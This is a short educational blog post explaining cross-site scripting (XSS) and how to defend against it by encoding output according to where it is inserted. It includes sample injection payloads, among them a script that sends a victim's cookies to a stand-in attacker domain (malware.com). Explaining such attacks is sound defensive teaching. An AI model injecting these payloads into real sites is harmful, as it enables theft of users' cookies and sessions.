Cross-site scripting (XSS)

 
 
  • Gérald Barré

This post is part of the series 'Vulnerabilities'. Be sure to check out the rest of the blog posts of the series!

#What's XSS?

A Cross-Site Scripting (XSS) vulnerability allows you to inject code into a web page. This can occur when the website displays content that is entered by the user without sanitizing it. The injected code can be HTML, CSS, JavaScript, or VBScript that will be interpreted by the victim's browser.

Let's take an example. On a forum to register, I must enter a nickname. This nickname will then be displayed on all the pages where I will post a message. If my nickname is Meziantou, there is no problem. However, if my nickname is <script>alert('toto')</script> the website should better filter the content I have entered by replacing the rafters by &lt; and &gt;. If it does not do this every time my nick appears, the script will run. All visitors to this forum are therefore potentially affected by this vulnerability.

As said previously the attacker will be able to inject the code that he wants. Let us see some examples of what can be injected.

  • Display an iframe (potentially containing malicious code)

    HTML
    <iframe src="https://malware.com" />
  • Show an annoying popup

    HTML
    <script>alert('pwned')</script>
  • Steal cookies

    HTML
    <script>document.location='https://www.malware.com/?'+document.cookie</script>

The user will be redirected to the page https://www.malware.com/?CurrentUICulture=fr-FR;%20testcookie=value and send all the cookies of the site on which it was.

  • And many other things…

#How to guard against it?

The solution is to encode the annoying characters. But it's not easy at all. Indeed it depends on where the text is inserted.

HTML
<div>TEXTE</div>         In an HTML tag
<script>TEXTE</script>   In a script tag
<!--TEXTE-->             In an HTML comment
<div TEXTE=test />       In an attribute value
<TEXTE href="/test" />   In the name of a tag
<style>TEXTE</style>     In a stylesheet
<a href="TEXTE">clickme</a>                In an url
<a href="/index?value=TEXTE">clickme</a>   In an url parameter

In the first case, it will be enough to encode the HTML entities (replace & with &amp;, " by &quot;, etc.), whereas in the last one it will be necessary to encode the URL (Percent-encoding).

OWASP provides a library to encode strings for many languages ​​(ASP, PHP, Ruby, Python, Perl, JavaScript). Note that there are other libraries just as powerful. In .NET there is Anti-XSS Library for example.

For more information about how to prevent XSS attacks, I'll let you read the OWASP guidelines.

Do you have a question or a suggestion about this post? Contact me!

Follow me:
Enjoy this blog?Buy Me A Coffee💖 Sponsor on GitHub